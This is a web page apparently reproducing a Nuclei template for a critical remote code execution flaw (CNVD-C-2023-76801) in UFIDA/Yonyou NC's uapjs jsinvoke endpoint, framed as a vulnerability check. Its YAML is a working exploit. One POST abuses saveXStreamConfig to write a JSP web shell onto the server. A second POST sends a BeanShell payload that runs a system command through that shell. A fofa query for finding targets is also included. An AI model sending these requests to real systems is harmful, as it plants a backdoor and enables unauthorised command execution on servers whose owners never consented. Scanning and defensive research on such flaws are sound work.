UFIDA NC uapjs - Remote Code Execution

ID: CNVD-C-2023-76801

Severity: critical

Author: SleepingBag945,s4e-io

Tags: cnvd,cnvd2023,yonyou,rce,intrusive

Description

There is an arbitrary method calling vulnerability in UFIDA NC and NCC systems. By exploiting the vulnerability through uapjs (jsinvoke), dangerous methods can be called to cause attacks.

YAML Source

id: CNVD-C-2023-76801

info:
  name: UFIDA NC uapjs - Remote Code Execution
  author: SleepingBag945,s4e-io
  severity: critical
  description: |
    There is an arbitrary method calling vulnerability in UFIDA NC and NCC systems. By exploiting the vulnerability through uapjs (jsinvoke), dangerous methods can be called to cause attacks.
  reference:
    - https://mp.weixin.qq.com/s/8ZRrmUCD2bfznd1MyDDU8A
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="用友-NC-Cloud"
  tags: cnvd,cnvd2023,yonyou,rce,intrusive

variables:
  filename: "{{rand_base(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/x-www-form-urlencoded

        {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/{{filename}}.jsp"]}

    matchers:
      - type: dsl
        dsl:
          - "len(body)==0"
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /{{filename}}.jsp?error=bsh.Interpreter HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/x-www-form-urlencoded

        cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream())

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Windows", "<?xml", "DNS")'
          - 'status_code == 200 || status_code == 404'
        condition: and
# digest: 4a0a00473045022046a169261dc45f5611da72f345a618ce25248f20422d07e68fe68d51f296530e022100e777ae40200be3c0cc2b9fad210394f03a553f72c7052b6dca5ed1349b64decb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cnvd/2023/CNVD-C-2023-76801.yaml"

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